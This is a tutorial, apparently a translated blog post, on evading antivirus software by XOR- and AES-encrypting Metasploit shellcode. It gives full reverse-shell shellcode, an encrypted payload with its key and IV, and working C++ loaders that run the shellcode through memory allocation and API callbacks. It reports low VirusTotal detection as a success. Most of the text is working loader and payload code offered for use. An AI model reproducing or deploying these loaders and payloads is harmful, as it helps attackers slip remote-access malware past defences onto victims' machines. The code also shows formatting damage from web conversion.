Realize anti-killing: Shellcode’s AES and XOR encryption strategy (vt killing rate: 4/70)

Foreword

What are private and public keys

Private key and public key are key components used in cryptography to implement functions such as encryption, decryption and digital signature.

A private key is a secret key in an encryption algorithm, only the owner of the key can access and use it. The private key is usually used in scenarios such as digital signature and data encryption. It can be used to encrypt data, and it can also be used to decrypt encrypted data.

A public key is a public key corresponding to a private key, which can be accessed and used by anyone. Public keys are usually used in scenarios such as data encryption, identity authentication, and digital signatures. The public key can be used to encrypt data, and it can also be used to verify the validity of digital signatures.

In an asymmetric encryption algorithm, a public key and a private key are a pair of keys that jointly participate in the encryption and decryption process. The public key is used to encrypt data and the private key is used to decrypt data. Therefore, when using an asymmetric encryption algorithm, the recipient of the data keeps its private key a secret while sending its public key to the sender. This way, the sender can use the receiver’s public key to encrypt data, and the receiver can use its private key to decrypt the data.

It should be noted that the private key and the public key appear in pairs, and they must be used at the same time to ensure the security and integrity of the data. Therefore, when using the private key and public key for data encryption, decryption, and digital signature operations, the security and confidentiality of the private key must be ensured

Learn about symmetric and asymmetric encryption

  • Symmetric encryption: In symmetric encryption, the same key is used for encryption and decryption, often called a shared key. This means that when encrypting data, both the sender and receiver need to use the same key. The symmetric encryption algorithm is faster and suitable for encrypting large amounts of data. However, one major disadvantage of symmetric encryption is key management. Since the sender and receiver need to use the same key, secure transmission and storage of the key becomes a challenge. Once the key is compromised, the security of encrypted data is compromised. Common symmetric encryption algorithms are: AES (Advanced Encryption Standard), DES (Data Encryption Standard) and 3DES (Triple Data Encryption Standard).
  • Asymmetric Encryption: Asymmetric encryption uses a pair of keys called a public key and a private key. The public key is public and can be obtained by anyone, while the private key is kept secret and can only be accessed by the key owner. In asymmetric encryption, data can be encrypted with a public key and then only decrypted with the corresponding private key; and vice versa, data encrypted with a private key can only be decrypted with the public key. In this way, the key management problem is solved, because only the private key needs to be protected. A disadvantage of asymmetric encryption is that the encryption and decryption process is relatively slow, so it is generally not suitable for encrypting large amounts of data. Common asymmetric encryption algorithms are: RSA (Rivest-Shamir-Adleman), DSA (Digital Signature Algorithm) and ECC (Elliptic Curve Cryptography).

In practical applications, symmetric encryption and asymmetric encryption are usually used in combination to take full advantage of the advantages of both. For example, asymmetrically encrypted keys are securely transmitted through asymmetric encryption, and then the data is encrypted using symmetric encryption. This not only solves the key management problem, but also can quickly encrypt a large amount of data.

XOR encryption

What is xor encryption

XOR encryption is also called XOR encryption, and XOR encryption belongs to symmetric encryption. In XOR encryption, a key (often called a key stream) is used to XOR the plaintext data to generate encrypted ciphertext. The decryption process is the same as the encryption process, and the original plaintext data can be recovered by XORing the ciphertext with the same key stream

Code Implementation

Use Shellcode_XorEncoder.py to perform XOR encryption on the shellcode, and then output the encrypted shellcode

# Define the XOR encryption function, which receives the original shellcode and key as input
def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)

    # Iterate through each byte in the shellcode
    for i in range(len(shellcode)):
        # XOR the current byte with the corresponding byte in the key, and then add it to the encrypted shellcode
        # The i % key_len operation in this code is used to ensure that the key is recycled when XORing the shellcode
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    # The shellcode generated by msf
    buf = b""
    buf + = b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
    buf + = b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
    buf + = b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
    buf + = b"\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0"
    buf + = b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    buf + = b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
    buf + = b"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
    buf + = b"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48"
    buf + = b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
    buf + = b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d\x31\xc9\x48"
    buf + = b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x48\x31\xc0"
    buf + = b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
    buf + = b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
    buf + = b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    buf + = b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    buf + = b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    buf + = b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    buf + = b"\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49"
    buf + = b"\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
    buf + = b"\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
    buf + = b"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2f\x9b\x41\x54"
    buf + = b"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
    buf + = b"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
    buf + = b"\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50"
    buf + = b"\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
    buf + = b"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
    buf + = b"\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
    buf + = b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
    buf + = b"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00"
    buf + = b"\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
    buf + = b"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8"
    buf + = b"\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20"
    buf + = b"\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
    buf + = b"\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4"
    buf + = b"\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
    buf + = b"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba"
    buf + = b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
    buf + = b"\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00"
    buf + = b"\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41"
    buf + = b"\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
    buf + = b"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6"
    buf + = b"\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
    buf + = b"\xf0\xb5\xa2\x56\xff\xd5"

    shellcode = bytearray(buf)

    # define key
    key = bytearray(b'henry')

    # Encrypt shellcode using xor_encrypt function
    encrypted_shellcode = xor_encrypt(shellcode, key)

    # Output encrypted shellcode
    print("Encrypted shellcode:")
    encrypted_shellcode_string = ""
    for byte in encrypted_shellcode:
        encrypted_shellcode_string + = ("\x x"%byte)
    print(encrypted_shellcode_string)

if __name__ == '__main__':
    main()

Use xor encryption.cpp to decrypt the encrypted shellcode, then load it into memory

#include <Windows.h>
#include <stdio.h>

int main() {<!-- -->
    // store the xor encrypted shellcode
    char encryptedShellcode[] = "...";

    // Define the key used for decryption
    char key[] = "henry";

    // Define an array with the same size as the encrypted shellcode to store the decrypted shellcode
    unsigned char shellcode[sizeof encryptedShellcode];

    // Get the length of the key
    int keylength = strlen(key);

    // Traverse the encrypted shellcode and decrypt it using XOR operation, and store the result in the shellcode array
    for (int i = 0; i < sizeof encryptedShellcode; i ++ ) {<!-- -->
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\x%x", shellcode[i]);
    }

    // Get the address of the decrypted shellcode
    char* addrShellcode = (char*)shellcode;

    // Declare a DWORD variable to store the old memory protection attributes
    DWORD dwOldPro = 0;

    // Change the protection attribute of the memory area where the decrypted shellcode is located, allowing execution, reading, and writing
    BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);

    // Execute the decrypted shellcode using the EnumUILanguages function
    EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
}

AES encryption

What is aes encryption

AES encryption, the Advanced Encryption Standard (Advanced Encryption Standard) encryption, is a symmetric key encryption algorithm widely used in modern cryptography

The characteristics of AES encryption are as follows:

  • Symmetric key: The encryption and decryption process uses the same key. Therefore, the security of the key is of paramount importance.
  • Key length: AES supports three key lengths of 128-bit, 192-bit and 256-bit, and the security increases with the increase of the key length.
  • Packet length: AES encryption algorithm groups data, and each packet is fixed at 128 bits (16 bytes).
  • Encryption process: including multiple rounds (the number of rounds is related to the length of the key, such as AES-128 requires 10 rounds, AES-192 requires 12 rounds, and AES-256 requires 14 rounds) of encryption operations. Each round of operation consists of four steps: SubBytes (byte replacement), ShiftRows (row shift), MixColumns (column confusion, except the last round) and AddRoundKey (round key addition)

Code Implementation

Here directly use Master Crow’s AES encryption code: https://cloud.tencent.com/developer/article/1939317, I encapsulate the AES encryption function in a static link library project, and then add the key generation function and shellcode Array to string function, a total of four functions

//AES encryption
string EncryptionAES(const string & strSrc, const char* g_key, const char* g_iv);

//AES decryption
string DecryptionAES(const string & strSrc, const char* g_key, const char* g_iv);

//Generate a random key
string random_string(size_t length);

//Convert char type shellcode to string type
string toHexString(unsigned char* data, size_t len);

Shellcode_AesEncrypt.cpp performs Aes encryption on shellcode

#include <iostream>
#include "Shellcode encryption library.h"

using namespace std;

int main() {<!-- -->
\t
//Fill in the shellcode generated by msf or cs
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x51"
"\x48\x8b\x52\x20\x56\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
"\x4d\x31\xc9\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2f\x9b\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";


//Generate random 16-bit key value and iv value
srand(time(0)); // initialize random seed
string g_key = random_string(16);
string g_iv = random_string(16);
cout << "key value: " << g_key << endl;
cout << "iv value: " << g_iv <<endl;

//Convert the shellcode byte array to a hexadecimal string
size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1;
string OriginalShellcode = toHexString(buf, bufLen);
cout << "Unencrypted shellcode: " << OriginalShellcode << endl;
//Encrypt the shellcode string
string EncryptShellcode = EncryptionAES(OriginalShellcode,g_key.c_str(),g_iv.c_str());
cout << "encrypted shellcode: " << EncryptShellcode << endl;
//Decrypt the encrypted shellcode string
string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str());
cout << "Decrypted shellcode: " << DecryptShellcode << endl;
\t\t
return 0;
}

Shellcode_AesDecrypt.cpp is used to decrypt the shellcode and load it. The function of the lazy_importer library is also called here: https://github.com/JustasMasiulis/lazy_importer. This library realizes the dynamic calling of the system api function, just Add (LI_FN) in front of the function, if a parameter of this function needs to be filled with NULL, then it needs to be changed to nullptr

#define _CRT_SECURE_NO_DEPRECATE
#include <iostream>
#include "lazy_importer.hpp"
#define BUF_SIZE 4096
#include <windows.h>
#include "Shellcode encryption library.h"

using namespace std;
char g_key[17] = "M7N@ExCVB@dFd]3W"; //Fill in the key key
char g_iv[17] = "}%?#U)6;9#uOg6gL"; //Define iv vector


void main(int argc, char* argv[])
{<!-- -->
// Encrypted shellcode
string buf = "Zq3ejgFVl/qtP/dqcQidBN6BKWTiL/KZZpfW + Iy8ZMnaA4Au2oEHMltr8TihG9yvvQ1MDt0PFqboWsF5ka9y72L9xJ5a4HRBFspK3vMwvtKMH8Xtko6ErmfUUB8pv4 n4DybjQseeuYtPqEDGvX8zlwONk9nyu5r8aozfNCxLvnbFyzX5OLInbra87Az3FGhilZnCwMufIPZLgolhRkgyhnS96CsMst/pNz4AqcCNmfe7Gw1rcuVgHqETNxwIsNzWDmUguUJ173NHAZ JpKmF1k39IYnF4JMvVk3QH81jzX68ClhGvADXnPlmz20PHzzjKOzkovpW4cPT3Q/1B2HOwWwhKPZdLKakJeuSa1YLwv6Nu3UdP8II6dGDVsgb4y/U7O1aiHbJFXSM5XXx7eKqTe8MV 8gLfwNNR6M4qaWEm7XmdsE0WryhL5F1SFe/6uxPrcIFnGE3I0jVntLjYfVWotkkrEgL7M6rXlOgKHF3Pd6AIIPm23zULA9NyJsHuKmqOUgyzf7LiPxPcIqhNo5DA1opqCqBS3XTeusUjr6x3 AyBT9MquUeJKuB7BBtWJWyuQzTzzSXaDRmErc6lSTM + DKTo101TZYKz4Jl2I8xDMey7IJT + Z1iYt/thgi1FeRLnrGAFKhNn3xAqjYORcKXLPGkSWq1MoZZxOJi6QF1uqMlB3tDBD6w/pAhuq HR + ZxnaHjfbqybG8rNLXc6hshmazoiFakC9QwHM9RgyVde9GGpkNr + wzjp1Tc1SbXSHtFHXumU1IP6NvLqU0/tWrTui9t8nrsqNFgGlQUXyAzmnk04vXJeD7kxGbSFSXwffPGUlOtDS1 q/ + P + fwj + ZvjpmiPLzoo + hgZ0UOtyO1ThltWr4rWitqMPneleC11qlVcyOp0odOTxuZiUeJyTOY9wHWwXg3snVWat23VSE7eQ4QWcF/GtfRVBsiGGENo1hH1nuxNTlEx/2os30f3IOj/yUfIXpuwH aWsNwlyw6119Z3PgCOdR + 1qDCvJenZEsCkyjUJ830xC1V5VxCw1m0btTP + LaefsNEocc5V7fyNyaw0o72yl/g + bacycAbG/hIJlWbaXneDFysBLPtLFJjXm0gAsE3iyffdB9l6c8ffohInaNlWC8x7IDb4X6vrFC8cnc DFb3NKIInVFR6bmqXfxXAamxzKXdpVjngPZg6YCWpTUtobZhThnhpO1KZxvHoFCcidxLq + mifWHpcldcS/ez2vWGdriSbd6i9FGGaxQQvHze1HmaLP/sj34JDMfIVfOI2/4sejnjluKfhcu5I 0P76idHJKMDHr + rJBtpSxX3jc + UNlfeFmhjuN2Yy/TO1kLRfUdfAeZP2Vz4WhITdRf8bvqJA==";
// decrypt shellcode
string strbuf = DecryptionAES(buf, g_key, (char*)g_iv);

//Put the decrypted shellcode into the shellcode array
char* p = (char*)strbuf.c_str();
unsigned char* shellcode = (unsigned char*)calloc(strbuf. length() / 2, sizeof(unsigned char));
for (size_t i = 0; i < strbuf. length() / 2; i ++ ) {<!-- -->
sscanf(p, "x", &shellcode[i]);
p + = 2;
}

//Output the contents of the shellcode array
int ShellcodeSize = strbuf. length() / 2;
printf("Decrypted buffer:\
");
for (int i = 0; i < ShellcodeSize; i ++ ) {<!-- -->
printf("\x x", shellcode[i]);
}

//load shellcode
char* orig_buffer;
orig_buffer = (char*)LI_FN(VirtualAlloc)(nullptr, ShellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
\t
RtlMoveMemory(orig_buffer, shellcode, ShellcodeSize);
\t
//Use the EnumUILanguages function to execute the decrypted shellcode
//EnumUILanguages((UILANGUAGE_ENUMPROC)orig_buffer, 0, 0);

//LI_FN(EnumUILanguages)((UILANGUAGE_ENUMPROC)orig_buffer, 0, 0);

//Use the EnumFontsW callback function to load shellcode
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)orig_buffer, NULL);

}

Run tests

Add a reference to the aes encryption project and select the Shellcode encryption library

1

Modify the project properties and add the path of the Shellcode encryption library project in the additional include directory

1

Use Shellcode_AesEncryption.cpp to encrypt, then the console outputs key value, iv value, and encrypted shellcode

image-20230515195113865

Open Shellcode_AesDecrypt.cpp, fill in the value generated above, and then generate an executable file

image-20230515195404012

Put the generated executable file in Huorong and 360 for testing, no virus was found

1

1

Uploaded to VirusTotal for inspection, there are only four reports of viruses, and the anti-kill effect is still possible

image-20230516154122994

Git project address

https://github.com/xf555er/ShellcodeEncryption